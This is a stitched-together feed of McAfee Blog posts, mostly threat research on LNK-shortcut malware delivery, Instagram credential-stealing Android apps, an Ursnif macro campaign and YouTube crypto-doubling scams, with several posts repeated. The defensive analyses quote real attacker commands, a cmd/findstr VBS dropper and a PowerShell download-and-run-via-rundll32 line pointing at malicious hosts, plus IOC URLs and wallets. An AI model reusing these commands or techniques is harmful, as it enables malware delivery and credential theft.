We also have a youth program called Youth First that serves youth from middle-to-high school. We have a behavioral health program and a clinic that does free testing for HIV and STDs along with a mobile health unit that does free testing in outlying areas. Finally, our advocacy department has three full-time employees!
“Sometimes we get asked “What’s ‘Pride’ about? Why do you need a parade?”
It’s important to understand that LGBTQIA+ people are still working to achieve equal rights – the same as everyone else.
The tipping point of the fight for equal rights in the US dates back to 1969 when the Stonewall Uprising took place in Manhattan. The first Pride march was held a year later to honor the anniversary of the Stonewall Uprising and continues to take place during the month of June each year. And while we appreciate the attention during the month, the continued fight for equal rights for the LGBTQIA+ community is yearly, and we need continuous support and allyship of people and businesses year-round.
So it’s really important for people to learn about diverse populations, understand what their challenges are, and educate yourself on these issues – from that spring’s allies.”
“One of the simplest things for companies to do is to include ‘Sexual Orientation, Gender Identity and Gender expression’ in your Equal Employment Opportunity statement. Other things companies can do is to look at putting a policy in place for transgender employees who are transitioning and consider including transgender healthcare in your company benefits package.
Make sure to help foster understanding by getting employees to do training with organizations like Resource Center. And empower upper management to lead the way ensuring all employees can bring their whole selves to work. Finally, when the opportunity arises look at working with and bringing in non-profit organizations into your company to continue spreading awareness and support for the LGBTQIA+ community.
And while June wraps up Pride month, year-round we work towards a workplace and community where all can belong – a workplace where our unique differences are celebrated and where we all stand together for equality. #McAfeePride
Learn more about the incredible work that Resource Center does here
Interested in building your career at a company where you can belong? Search our openings!
The post #McAfeePride2022 appeared first on McAfee Blog.
Authored by Lakshya Mathur
An LNK file is a Windows Shortcut that serves as a pointer to open a file, folder, or application. LNK files are based on the Shell Link binary file format, which holds information used to access another data object. These files can be created manually using the standard right-click create shortcut option or sometimes they are created automatically while running an application. There are many tools also available to build LNK files, also many people have built “lnkbombs” tools specifically for malicious purposes.
During the second quarter of 2022, McAfee Labs has seen a rise in malware being delivered using LNK files. Attackers are exploiting the ease of LNK, and are using it to deliver malware like Emotet, Qakbot, IcedID, Bazarloaders, etc.
In this blog, we will see how LNK files are being used to deliver malware such as Emotet, Qakbot, and IcedID.
Below is a screenshot of how these shortcut files look to a normal user.
With Microsoft disabling office macros by default malware actors are now enhancing their lure techniques including exploiting LNK files to achieve their goals.
Threat actors are using email spam and malicious URLs to deliver LNK files to victims. These files instruct legitimate applications like PowerShell, CMD, and MSHTA to download malicious files.
We will go through three recent malware campaigns Emotet, IcedID, and Qakbot to see how dangerous these files can be.
In Figure 4 we can see the lure message and attached malicious LNK file.
The user is infected by manually accessing the attached LNK file. To dig a little deeper, we see the properties of the LNK file:
As seen in Figure 5 the target part reveals that LNK invokes the Windows Command Processor (cmd.exe). The target path as seen in the properties is only visible to 255 characters. However, command-line arguments can be up to 4096, so malicious actors can that this advantage and pass on long arguments as they will be not visible in the properties.
In our case the argument is /v:on /c findstr “glKmfOKnQLYKnNs.*” “Form 04.25.2022, US.lnk” > “%tmp%\YlScZcZKeP.vbs” & “%tmp%\YlScZcZKeP.vbs”
Once the findstr.exe utility receives the mentioned string, the rest of the content of the LNK file is saved in a .VBS file under the %temp% folder with the random name YIScZcZKeP.vbs
The next part of the cmd.exe command invokes the VBS file using the Windows Script Host (wscript.exe) to download the main Emotet 64-bit DLL payload.
The downloaded DLL is then finally executed using the REGSVR32.EXE utility which is similar behavior to the excel(.xls) based version of the emotet.
This attack is a perfect example of how attackers chain LNK, PowerShell, and MSHTA utilities target their victims.
Here, PowerShell LNK has a highly obfuscated parameter which can be seen in Figure 8 target part of the LNK properties
The parameter is exceptionally long and is not fully visible in the target part. The whole obfuscated argument is decrypted at run-time and then executes MSHTA with argument hxxps://hectorcalle[.]com/093789.hta.
The downloaded HTA file invokes another PowerShell that has a similar obfuscated parameter, but this connects to Uri hxxps://hectorcalle[.]com/listbul.exe
The Uri downloads the IcedID installer 64-bit EXE payload under the %HOME% folder.
This attack will show us how attackers can directly hardcode malicious URLs to run along with utilities like PowerShell and download main threat payloads.
In Figure 10 the full target part argument is “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit iwr -Uri hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png -OutFile $env:TEMP\test.dll;Start-Process rundll32.exe $env:TEMP\test.dll,jhbvygftr”
When this PowerShell LNK is invoked, it connects to hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png using the Invoke-WebRequest command and the download file is saved under the %temp% folder with the name test.dll
This is the main Qakbot DLL payload which is then executed using the rundll32 utility.
As we saw in the above three threat campaigns, it is understood that attackers abuse the windows shortcut LNK files and made them to be extremely dangerous to the common users. LNK combined with PowerShell, CMD, MSHTA, etc., can do severe damage to the victim’s machine. Malicious LNKs are generally seen to be using PowerShell and CMD by which they can connect to malicious URLs to download malicious payloads.
We covered just three of the threat families here, but these files have been seen using other windows utilities to deliver diverse types of malicious payloads. These types of attacks are still evolving, so every user must give a thorough check while using LNK shortcut files. Consumers must keep their Operating system and Anti-Virus up to date. They should beware of phishing mail and clicking on malicious links and attachments.
| Type | SHA-256 | Scanner | |
| Emotet LNK | 02eccb041972825d51b71e88450b094cf692b9f5f46f5101ab3f2210e2e1fe71 | WSS | LNK/Emotet-FSE |
| IcedID LNK | 24ee20d7f254e1e327ecd755848b8b72cd5e6273cf434c3a520f780d5a098ac9 | WSS | LNK/Agent-FTA
Suspicious ZIP!lnk |
| Qakbot LNK | b5d5464d4c2b231b11b594ce8500796f8946f1b3a10741593c7b872754c2b172 | WSS | LNK/Agent-TSR
|
| URLs (Uniform Resource Locator) | hxxps://creemo[.]pl/wp-admin/ZKS1DcdquUT4Bb8Kb/
hxxp://filmmogzivota[.]rs/SpryAssets/gDR/ hxxp://demo34.ckg[.]hk/service/hhMZrfC7Mnm9JD/ hxxp://focusmedica[.]in/fmlib/IxBABMh0I2cLM3qq1GVv/ hxxp://cipro[.]mx/prensa/siZP69rBFmibDvuTP1/ hxxps://hectorcalle[.]com/093789.hta hxxps://hectorcalle[.]com/listbul.exe hxxps://green-a-thon[.]com/LosZkUvr/B.png |
WebAdvisor | All URLs Blocked |
The post Rise of LNK (Shortcut files) Malware appeared first on McAfee Blog.
Authored by Dexter Shin
Instagram has become a platform with over a billion monthly active users. Many of Instagram’s users are looking to increase their follower numbers, as this has become a symbol of a person’s popularity. Instagram’s large user base has not gone unnoticed to cybercriminals. McAfee’s Mobile Research Team recently found new Android malware disguised in an app to increase Instagram followers.
You can easily find apps on the internet that increase the number of Instagram followers. Some of these apps require both a user account and a password. Other types of apps only need the user to input their user account. But are these apps safe to use?
Many YouTubers explain how to use these apps with tutorial videos. They log into the app with their own account and show that the number of followers is increasing. Among the many videos, the domain that appears repeatedly was identified.
The way the domain introduces is very simple.
When you run the function, you can see that the number of followers increases every few seconds.
Some Telegram channels are promoting YouTube videos with domain links to the malware.
We have also observed a video from a famous YouTuber with over 190,000 subscribers promoting a malicious app. However, in the video, we found some concerning comments with people complaining that their credentials were being stolen.
We analyzed the application that is being promoted by the domain. The hidden malware does not require many permissions and therefore does not appear to be harmful. When users launch the app, they can only see the below website via the Android Webview.
After inspecting the app, we observe the initial code does not contain many features. After showing an advertisement, it will immediately show the malicious website. Malicious activities are performed at the website’s backend rather than within the Android app.
The website says that your transactions are carried out using the Instagram API system with your username and password. It is secure because they use the user’s credentials via Instagram’s official server, not their remote server.
Contrary to many people’s expectations, we received abnormal login attempts from Turkey a few minutes after using the app. The device logged into the account was not an Instagram server but a personal device model of Huawei as LON-L29.
As shown above, they don’t use an Instagram API. In addition, as you request followers, the number of the following also increases. In other words, the credentials you provided are used to increase the number of followers of other requesters. Everyone who uses this app has a relationship with each other. Moreover, they will store and use your credentials in their database without your acknowledgement.
The languages of most communication channels were English, Portuguese, and Hindi. Especially, Hindi was the most common, and most videos had more than 100 views. In the case of a famous YouTuber’s video, they have recorded more than 2,400 views. In addition, our test account had 400 followers in one day. It means that at least 400 users have sent credentials to the malware author.
As we mentioned in the opening remarks, many Instagram users want to increase their followers and likes. Unfortunately, attackers are also aware of the desires of these users and use that to attack them.
Therefore, users who want to install these apps should consider that their credentials may be leaked. In addition, there may be secondary attacks such as credential stuffing (=use of a stolen username and password pairs on another website). Aside from the above cases, there are many unanalyzed similar apps on the Internet. You shouldn’t use suspicious apps to get followers and likes.
McAfee Mobile Security detects this threat as Android/InstaStealer and protects you from this malware. For more information, visit McAfee Mobile Security.
SHA256:
Domains:
The post Instagram credentials Stealers: Free Followers or Free Likes appeared first on McAfee Blog.
Authored by Dexter Shin
McAfee’s Mobile Research Team introduced a new Android malware targeting Instagram users who want to increase their followers or likes in the last post. As we researched more about this threat, we found another malware type that uses different technical methods to steal user’s credentials. The target is users who are not satisfied with the default functions provided by Instagram. Various Instagram modification application already exists for those users on the Internet. The new malware we found pretends to be a popular mod app and steals Instagram credentials.
Instander is one of the famous Instagram modification applications available for Android devices to help Instagram users access extra helpful features. The mod app supports uploading high-quality images and downloading posted photos and videos.
The initial screens of this malware and Instander are similar, as shown below.
Figure 1. Instander legitimate app(Left) and Mmalware(Right)
Next, this malware requests an account (username or email) and password. Finally, this malware displays an error message regardless of whether the login information is correct.
Figure 2. Malware requests account and password
The malware steals the user’s username and password in a very unique way. The main trick is to use the Firebase API. First, the user input value is combined with l@gmail.com. This value and static password(=kamalw20051) are then sent via the Firebase API, createUserWithEmailAndPassword. And next, the password process is the same. After receiving the user’s account and password input, this malware will request it twice.
Since we cannot see the dashboard of the malware author, we tested it using the same API. As a result, we checked the user input value in plain text on the dashboard.
According to the Firebase document, createUserWithEmailAndPassword API is to create a new user account associated with the specified email address and password. Because the first parameter is defined as email patterns, the malware author uses the above code to create email patterns regardless of user input values.
It is an API for creating accounts in the Firebase so that the administrator can check the account name in the Firebase dashboard. The victim’s account and password have been requested as Firebase account name, so it should be seen as plain text without hashing or masking.
As an interesting point on the network traffic of the malware, this malware communicates with the Firebase server in Protobuf format in the network. The initial configuration of this Firebase API uses the JSON format. Although the Protobuf format is readable enough, it can be assumed that this malware author intentionally attempts to obfuscate the network traffic through the additional settings. Also, the domain used for data transfer(=www.googleapis.com) is managed by Google. Because it is a domain that is too common and not dangerous, many network filtering and firewall solutions do not detect it.
As mentioned, users should always be careful about installing 3rd party apps. Aside from the types of malware we’ve introduced so far, attackers are trying to steal users’ credentials in a variety of ways. Therefore, you should employ security software on your mobile devices and always keep up to date.
Fortunately, McAfee Mobile Security is able to detect this as Android/InstaStealer and protect you from similar threats. For more information visit McAfee Mobile Security
SHA256:
The post Instagram credentials Stealer: Disguised as Mod App appeared first on McAfee Blog.
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The post Test Test 2 appeared first on McAfee Blog.
McAfee Labs have been observing a spike in phishing campaigns that utilize Microsoft office macro capabilities. These malicious documents reach victims via mass spam E-mail campaigns and generally invoke urgency, fear, or similar emotions, leading unsuspecting users to promptly open them. The purpose of these spam operations is to deliver malicious payloads to as many people as possible.
A recent spam campaign was using malicious word document to download and execute the Ursnif trojan. Ursnif is a high-risk trojan designed to record various sensitive information. It typically archives this sensitive data and sends it back to a command-and-control server.
This blog describes how attackers use document properties and a few other techniques to download and execute the Ursnif trojan.
Threat Summary
Infection Chain
The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, Word downloads a DLL (Ursnif payload). The Ursnif payload is then executed using rundll32.exe
Figure-1: flowchart of infection chain
Word Analysis
Macros are disabled by default and the malware authors are aware of this and hence present an image to entice the victims into enabling them.
Figure-2: Image of what the user sees upon opening the document
VBA Macro Analysis of Word Document
Analyzing the sample statically with ‘oleId’ and ‘olevba’ indicates the suspicious vectors..
Figure-3: Oleid output
Figure-4: Olevba output
The VBA Macro is compatible with x32 and x64 architectures and is highly obfuscated as seen in Figure-5
Figure-5: Obfuscated VBA macro
To get a better understanding of the functionality, we have de-obfuscated the contents in the 2 figures shown below.
Figure-6: De-obfuscated VBA macro (stage 1)
Figure-7: De-obfuscated VBA macro (stage 2)
An interesting characteristic of this sample is that some of the strings like CLSID, URL for downloading Ursnif, and environment variables names are stored in custom document properties in reverse. As shown in Figure-7, VBA function “ActiveDocument.CustomDocumentProperties()” is used to retrieve the properties and uses “StrReverse” to reverse the contents.
We can see the document properties in Figure-8
Figure-8: Document properties
Payload Download and Execution:
The malicious macro retrieves hidden shellcode from a custom property named “Company” using the “cdec” function that converts the shellcode from string to decimal/hex value and executes it. The shellcode is shown below.
Figure-9: Raw Company property
The shellcode is written to memory and the access protection is changed to PAGE_EXECUTE_READWRITE.
Figure-10: Code of VirtualProtect
Figure-11: Shellcode’s memory and protection after calling VirtualProtect()
After adding the shellcode in memory, the environment variable containing the malicious URL of Ursnif payload is created. This Environment variable will be later used by the shellcode.
Figure-12: Environment variable set in Winword.exe space
The shellcode is executed with the use of the SetTimer API. SetTimer creates a timer with the specified time-out value mentioned and notifies a function when the time is elapsed. The 4th parameter used to call SetTimer is the pointer to the shellcode in memory which will be invoked when the mentioned time is elapsed.
Figure-13: SetTimer function (Execution of shellCode)
The shellcode downloads the file from the URL stored in the environmental variable and stores it as ” y9C4A.tmp.dll ” and executes it with rundll32.exe.
| URL | hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/ |
| CMD | rundll32 “C:\Users\user\AppData\Local\Temp\y9C4A.tmp.dll”,DllRegisterServer |
Figure-14: Exports of Downloaded DLL
After successful execution of the shellcode, the environment variable is removed.
Figure-15: Removal of Environment Variable
IOC
| TYPE | VALUE | PRODUCT | DETECTION NAME |
| Main Word Document | 6cf97570d317b42ef8bfd4ee4df21d217d5f27b73ff236049d70c37c5337909f | McAfee LiveSafe and Total Protection | X97M/Downloader.CJG |
| Downloaded dll | 41ae907a2bb73794bb2cff40b429e62305847a3e1a95f188b596f1cf925c4547 | McAfee LiveSafe and Total Protection | Ursnif-FULJ |
| URL to download dll | hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/ | WebAdvisor | Blocked |
MITRE Attack Framework
| Technique ID | Tactic | Technique Details | Description |
| T1566.001 | Initial Access | Spear phishing Attachment | Manual execution by user |
| T1059.005 | Execution | Visual Basic | Malicious VBA macros |
| T1218.011 | Defense Evasion | Signed binary abuse | Rundll32.exe is used |
| T1027 | Defense Evasion | Obfuscation techniques | VBA and powershell base64 executions |
| T1086 | Execution | Powershell execution | PowerShell command abuse |
Conclusion
Macros are disabled by default in Microsoft Office applications, we suggest keeping it that way unless the document is received from a trusted source. The infection chain discussed in the blog is not limited to Word or Excel. Further threats may use other live-off-the-land tools to download its payloads.
McAfee customers are protected against the malicious files and sites detailed in this blog with McAfee LiveSafe/Total Protection and McAfee Web Advisor.
The post Test Post appeared first on McAfee Blog.
By Oliver Devane
Update: In the past 24 hours (from time of publication) McAfee has identified 15 more scam sites bringing the total to 26. The combined value of the wallets shared on these sites is over $1,300,000 which is an increase of roughly $1,000,000 since this blog was last published. This highlights the scale of this current scam campaign. The table within this blog has been updated to include the new sites and crypto-wallets.
McAfee has identified several Youtube channels which were live-streaming a modified version of a live stream called ‘The B Word’ where Elon Musk, Cathie Wood, and Jack Dorsey discuss various aspects of cryptocurrency.
The modified live streams make the original video smaller and put a frame around it advertising malicious sites that it claims will double the amount of cryptocurrency you send them. As the topic of the video is on cryptocurrency it adds some legitimacy to the websites being advertised.
The original video is shown below on the left and a modified one which includes a reference to a scam site is shown on the right.
We identified several different streams occurring at a similar same time. The images of some are shown below:
The YouTube streams advertised several sites which shared a similar theme. They claim to send cryptocurrency worth double the value which they’ve received. For example, if you send 1BTC you will receive 2BTC in return. One of the site‘s frequently asked questions (FAQ) is shown below:
Here are some more examples of the scam sites we discovered:
The sites attempt to trick the visitors into thinking that others are sending cryptocurrency to it by showing a table with recent transactions. This is fake and is generated by JavaScript which creates random crypto wallets and amounts and then adds these to the table.
The wallets associated with the malicious sites have received a large number of transactions with a combined value of $280,000 as of 5 PM UTC on the 5th of May 2022
| Scam Site | Crypto Type | Wallet | Value as on 5PM UTC 5th May 2022 |
| 22ark-invest[.]org | ETH | 0x820a78D8e0518fcE090A9D16297924dB7941FD4f | $25,726.46 |
| 22ark-invest[.]org | BTC | 1Q3r1TzwCwQbd1dZzVM9mdFKPALFNmt2WE | $29,863.78 |
| 2xEther[.]com | ETH | 0x5081d1eC9a1624711061C75dB9438f207823E694 | $2,748.50 |
| 2x-musk[.]net | ETH | 0x18E860308309f2Ab23b5ab861087cBd0b65d250A | $10,409.13 |
| 2x-musk[.]net | BTC | 17XfgcHCfpyYMFdtAWYX2QcksA77GnbHN9 | $4,779.47 |
| arkinvest22[.]net | ETH | 0x2605dF183743587594A3DBC5D99F12BB4F19ac74 | $11,810.57 |
| arkinvest22[.]net | BTC | 1GLRZZHK2fRrywVUEF83UkqafNV3GnBLha | $5,976.80 |
| doublecrypto22[.]com | ETH | 0x12357A8e2e6B36dd6D98A2aed874D39c960eC174 | $0.00 |
| doublecrypto22[.]com | BTC | 1NKajgogVrRYQjJEQY2BcvZmGn4bXyEqdY | $0.00 |
| elonnew[.]com | ETH | 0xAC9275b867DAb0650432429c73509A9d156922Dd | $0.00 |
| elonnew[.]com | BTC | 1DU2H3dWXbUA9mKWuZjbqqHuGfed7JyqXu | $0.00 |
| elontoday[.]org | ETH | 0xBD73d147970BcbccdDe3Dd9340827b679e70d9d4 | $18,442.96 |
| elontoday[.]org | BTC | bc1qas66cgckep3lrkdrav7gy8xvn7cg4fh4d7gmw5 | $0.00 |
| Teslabtc22[.]com | ETH | 0x9B857C44C500eAf7fAfE9ed1af31523d84CB5bB0 | $27,386.69 |
| Teslabtc22[.]com | BTC | 18wJeJiu4MxDT2Ts8XJS665vsstiSv6CNK | $17,609.62 |
| tesla-eth[.]org | ETH | 0x436F1f89c00f546bFEf42F8C8d964f1206140c64 | $5,841.84 |
| tesla-eth[.]org | BTC | 1CHRtrHVB74y8Za39X16qxPGZQ12JHG6TW | $132.22 |
| teslaswell[.]com | ETH | 0x7007Fa3e7dB99686D337C87982a07Baf165a3C1D | $9.43 |
| teslaswell[.]com | BTC | bc1qdjma5kjqlf7l6fcug097s9mgukelmtdf6nm20v | $0.00 |
| twittergive[.]net | ETH | 0xB8e257C18BbEC93A596438171e7E1E77d18671E5 | $25,918.90 |
| twittergive[.]net | BTC | 1EX3dG9GUNVxoz6yiPqqoYMQw6SwQUpa4T | $99,123.42 |
Scammers have been using social media sites such as Twitter and Youtube to attempt to trick users into parting ways with their cryptocurrency for the past few years. McAfee urges its customers to be vigilant and if something sounds too good to be true then it is most likely not legitimate.
Our customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee Web Advisor
| Type | Value | Product | Blocked |
| URL – Crypto Scam | twittergive[.]net | McAfee WebAdvisor | YES |
| URL – Crypto Scam | tesla-eth[.]org | McAfee WebAdvisor | YES |
| URL – Crypto Scam | 22ark-invest[.]org | McAfee WebAdvisor | YES |
| URL – Crypto Scam | 2xEther[.]com | McAfee WebAdvisor | YES |
| URL – Crypto Scam | Teslabtc22[.]com | McAfee WebAdvisor | YES |
| URL – Crypto Scam | elontoday[.]org | McAfee WebAdvisor | YES |
| URL – Crypto Scam | elonnew[.]com | McAfee WebAdvisor | YES |
| URL – Crypto Scam | teslaswell[.]com | McAfee WebAdvisor | YES |
| URL – Crypto Scam | 2x-musk[.]net | McAfee WebAdvisor | YES |
| URL – Crypto Scam | doublecrypto22[.]com | McAfee WebAdvisor | YES |
| URL – Crypto Scam | arkinvest22[.]net | McAfee WebAdvisor | YES |
The post Crypto Scammers Exploit: Elon Musk Speaks on Cryptocurrency appeared first on McAfee Blog.
Authored by Jyothi Naveen and Kiran Raj
McAfee Labs have been observing a spike in phishing campaigns that utilize Microsoft office macro capabilities. These malicious documents reach victims via mass spam E-mail campaigns and generally invoke urgency, fear, or similar emotions, leading unsuspecting users to promptly open them. The purpose of these spam operations is to deliver malicious payloads to as many people as possible.
A recent spam campaign was using malicious word documents to download and execute the Ursnif trojan. Ursnif is a high-risk trojan designed to record various sensitive information. It typically archives this sensitive data and sends it back to a command-and-control server.
This blog describes how attackers use document properties and a few other techniques to download and execute the Ursnif trojan.
The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, Word downloads a DLL (Ursnif payload). The Ursnif payload is then executed using rundll32.exe
Macros are disabled by default and the malware authors are aware of this and hence present an image to entice the victims into enabling them.
Analyzing the sample statically with ‘oleId’ and ‘olevba’ indicates the suspicious vectors..
The VBA Macro is compatible with x32 and x64 architectures and is highly obfuscated as seen in Figure-5
To get a better understanding of the functionality, we have de-obfuscated the contents in the 2 figures shown below.
An interesting characteristic of this sample is that some of the strings like CLSID, URL for downloading Ursnif, and environment variables names are stored in custom document properties in reverse. As shown in Figure-7, VBA function “ActiveDocument.CustomDocumentProperties()” is used to retrieve the properties and uses “StrReverse” to reverse the contents.
We can see the document properties in Figure-8
The malicious macro retrieves hidden shellcode from a custom property named “Company” using the “cdec” function that converts the shellcode from string to decimal/hex value and executes it. The shellcode is shown below.
The shellcode is written to memory and the access protection is changed to PAGE_EXECUTE_READWRITE.
After adding the shellcode in memory, the environment variable containing the malicious URL of Ursnif payload is created. This Environment variable will be later used by the shellcode.
The shellcode is executed with the use of the SetTimer API. SetTimer creates a timer with the specified time-out value mentioned and notifies a function when the time is elapsed. The 4th parameter used to call SetTimer is the pointer to the shellcode in memory which will be invoked when the mentioned time is elapsed.
The shellcode downloads the file from the URL stored in the environmental variable and stores it as ” y9C4A.tmp.dll ” and executes it with rundll32.exe.
| URL | hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/ |
| CMD | rundll32 “C:\Users\user\AppData\Local\Temp\y9C4A.tmp.dll”,DllRegisterServer |
After successful execution of the shellcode, the environment variable is removed.
| TYPE | VALUE | PRODUCT | DETECTION NAME |
| Main Word Document | 6cf97570d317b42ef8bfd4ee4df21d217d5f27b73ff236049d70c37c5337909f | McAfee LiveSafe and Total Protection | X97M/Downloader.CJG |
| Downloaded dll | 41ae907a2bb73794bb2cff40b429e62305847a3e1a95f188b596f1cf925c4547 | McAfee LiveSafe and Total Protection | Ursnif-FULJ |
| URL to download dll | hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/ | WebAdvisor | Blocked |
| Technique ID | Tactic | Technique Details | Description |
| T1566.001 | Initial Access | Spear phishing Attachment | Manual execution by user |
| T1059.005 | Execution | Visual Basic | Malicious VBA macros |
| T1218.011 | Defense Evasion | Signed binary abuse | Rundll32.exe is used |
| T1027 | Defense Evasion | Obfuscation techniques | VBA and powershell base64 executions |
| T1086 | Execution | Powershell execution | PowerShell command abuse |
Macros are disabled by default in Microsoft Office applications, we suggest keeping it that way unless the document is received from a trusted source. The infection chain discussed in the blog is not limited to Word or Excel. Further threats may use other live-off-the-land tools to download its payloads.
McAfee customers are protected against the malicious files and sites detailed in this blog with McAfee LiveSafe/Total Protection and McAfee Web Advisor.
The post Phishing Campaigns featuring Ursnif Trojan on the Rise appeared first on McAfee Blog.
By Oliver Devane
Editors note: In the past 24 hours (from time of publication) McAfee has identified 15 more scam sites bringing the total to 26. The combined value of the wallets shared on these sites is over $1,300,000 which is an increase of roughly $1,000,000 since this blog was last published. This highlights the scale of this current scam campaign. The table within this blog has been updated to include the new sites and crypto-wallets.
McAfee has identified several Youtube channels which were live-streaming a modified version of a live stream called ‘The B Word’ where Elon Musk, Cathie Wood, and Jack Dorsey discuss various aspects of cryptocurrency.
The modified live streams make the original video smaller and put a frame around it advertising malicious sites that it claims will double the amount of cryptocurrency you send them. As the topic of the video is on cryptocurrency it adds some legitimacy to the websites being advertised.
The original video is shown below on the left and a modified one which includes a reference to a scam site is shown on the right.
We identified several different streams occurring at a similar same time. The images of some are shown below:
The YouTube streams advertised several sites which shared a similar theme. They claim to send cryptocurrency worth double the value which they’ve received. For example, if you send 1BTC you will receive 2BTC in return. One of the site‘s frequently asked questions (FAQ) is shown below:
Here are some more examples of the scam sites we discovered:
The sites attempt to trick the visitors into thinking that others are sending cryptocurrency to it by showing a table with recent transactions. This is fake and is generated by JavaScript which creates random crypto wallets and amounts and then adds these to the table.
The wallets associated with the malicious sites have received a large number of transactions with a combined value of $280,000 as of 5 PM UTC on the 5th of May 2022
| Scam Site | Crypto Type | Wallet | Value as on 5PM UTC 5th May 2022 |
| 22ark-invest[.]org | ETH | 0x820a78D8e0518fcE090A9D16297924dB7941FD4f | $25,726.46 |
| 22ark-invest[.]org | BTC | 1Q3r1TzwCwQbd1dZzVM9mdFKPALFNmt2WE | $29,863.78 |
| 2xEther[.]com | ETH | 0x5081d1eC9a1624711061C75dB9438f207823E694 | $2,748.50 |
| 2x-musk[.]net | ETH | 0x18E860308309f2Ab23b5ab861087cBd0b65d250A | $10,409.13 |
| 2x-musk[.]net | BTC | 17XfgcHCfpyYMFdtAWYX2QcksA77GnbHN9 | $4,779.47 |
| arkinvest22[.]net | ETH | 0x2605dF183743587594A3DBC5D99F12BB4F19ac74 | $11,810.57 |
| arkinvest22[.]net | BTC | 1GLRZZHK2fRrywVUEF83UkqafNV3GnBLha | $5,976.80 |
| doublecrypto22[.]com | ETH | 0x12357A8e2e6B36dd6D98A2aed874D39c960eC174 | $0.00 |
| doublecrypto22[.]com | BTC | 1NKajgogVrRYQjJEQY2BcvZmGn4bXyEqdY | $0.00 |
| elonnew[.]com | ETH | 0xAC9275b867DAb0650432429c73509A9d156922Dd | $0.00 |
| elonnew[.]com | BTC | 1DU2H3dWXbUA9mKWuZjbqqHuGfed7JyqXu | $0.00 |
| elontoday[.]org | ETH | 0xBD73d147970BcbccdDe3Dd9340827b679e70d9d4 | $18,442.96 |
| elontoday[.]org | BTC | bc1qas66cgckep3lrkdrav7gy8xvn7cg4fh4d7gmw5 | $0.00 |
| Teslabtc22[.]com | ETH | 0x9B857C44C500eAf7fAfE9ed1af31523d84CB5bB0 | $27,386.69 |
| Teslabtc22[.]com | BTC | 18wJeJiu4MxDT2Ts8XJS665vsstiSv6CNK | $17,609.62 |
| tesla-eth[.]org | ETH | 0x436F1f89c00f546bFEf42F8C8d964f1206140c64 | $5,841.84 |
| tesla-eth[.]org | BTC | 1CHRtrHVB74y8Za39X16qxPGZQ12JHG6TW | $132.22 |
| teslaswell[.]com | ETH | 0x7007Fa3e7dB99686D337C87982a07Baf165a3C1D | $9.43 |
| teslaswell[.]com | BTC | bc1qdjma5kjqlf7l6fcug097s9mgukelmtdf6nm20v | $0.00 |
| twittergive[.]net | ETH | 0xB8e257C18BbEC93A596438171e7E1E77d18671E5 | $25,918.90 |
| twittergive[.]net | BTC | 1EX3dG9GUNVxoz6yiPqqoYMQw6SwQUpa4T | $99,123.42 |
Scammers have been using social media sites such as Twitter and Youtube to attempt to trick users into parting ways with their cryptocurrency for the past few years. McAfee urges its customers to be vigilant and if something sounds too good to be true then it is most likely not legitimate.
Our customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee Web Advisor
| Type | Value | Product | Blocked |
| URL – Crypto Scam | twittergive[.]net | McAfee WebAdvisor | YES |
| URL – Crypto Scam | tesla-eth[.]org | McAfee WebAdvisor | YES |
| URL – Crypto Scam | 22ark-invest[.]org | McAfee WebAdvisor | YES |
| URL – Crypto Scam | 2xEther[.]com | McAfee WebAdvisor | YES |
| URL – Crypto Scam | Teslabtc22[.]com | McAfee WebAdvisor | YES |
| URL – Crypto Scam | elontoday[.]org | McAfee WebAdvisor | YES |
| URL – Crypto Scam | elonnew[.]com | McAfee WebAdvisor | YES |
| URL – Crypto Scam | teslaswell[.]com | McAfee WebAdvisor | YES |
| URL – Crypto Scam | 2x-musk[.]net | McAfee WebAdvisor | YES |
| URL – Crypto Scam | doublecrypto22[.]com | McAfee WebAdvisor | YES |
| URL – Crypto Scam | arkinvest22[.]net | McAfee WebAdvisor | YES |
The post Crypto Scammers Exploit: Elon Musk Speaks on Cryptocurrency appeared first on McAfee Blog.
Authored by Dexter Shin
McAfee’s Mobile Research Team introduced a new Android malware targeting Instagram users who want to increase their followers or likes in the last post. As we researched more about this threat, we found another malware type that uses different technical methods to steal user’s credentials. The target is users who are not satisfied with the default functions provided by Instagram. Various Instagram modification application already exists for those users on the Internet. The new malware we found pretends to be a popular mod app and steals Instagram credentials.
Instander is one of the famous Instagram modification applications available for Android devices to help Instagram users access extra helpful features. The mod app supports uploading high-quality images and downloading posted photos and videos.
The initial screens of this malware and Instander are similar, as shown below.
Figure 1. Instander legitimate app(left) and Mmalware(right)
Next, this malware requests account(username or email) and password. Finally, this malware displays an error message regardless of whether the login information is correct.
Figure 2. Malware requests account and password
The malware steals the user’s username and password in a very unique way. The main trick is to use the Firebase API. First, the user input value is combined with l@gmail.com. This value and static password(=kamalw20051) are then sent via the Firebase API, createUserWithEmailAndPassword. And next, the password process is the same. After receiving the user’s account and password input, this malware will request it twice.
Figure 3. Main method to use Firebase API
Since we cannot see the dashboard of the malware author, we tested it using the same API. As a result, we checked the user input value in plain text on the dashboard.
Figure 4. Firebase dashboard built for testing
According to the Firebase document, createUserWithEmailAndPassword API is to create a new user account associated with the specified email address and password. Because the first parameter is defined as email patterns, the malware author uses the above code to create email patterns regardless of user input values.
It is an API for creating accounts in the Firebase so that the administrator can check the account name in the Firebase dashboard. The victim’s account and password have been requested as Firebase account name, so it should be seen as plain text without hashing or masking.
As an interesting point on the network traffic of the malware, this malware communicates with the Firebase server in Protobuf format in the network. The initial configuration of this Firebase API uses the JSON format. Although the Protobuf format is readable enough, it can be assumed that this malware author intentionally attempts to obfuscate the network traffic through the additional settings. Also, the domain used for data transfer(=www.googleapis.com) is managed by Google. Because it is a domain that is too common and not dangerous, many network filtering and firewall solutions do not detect it.
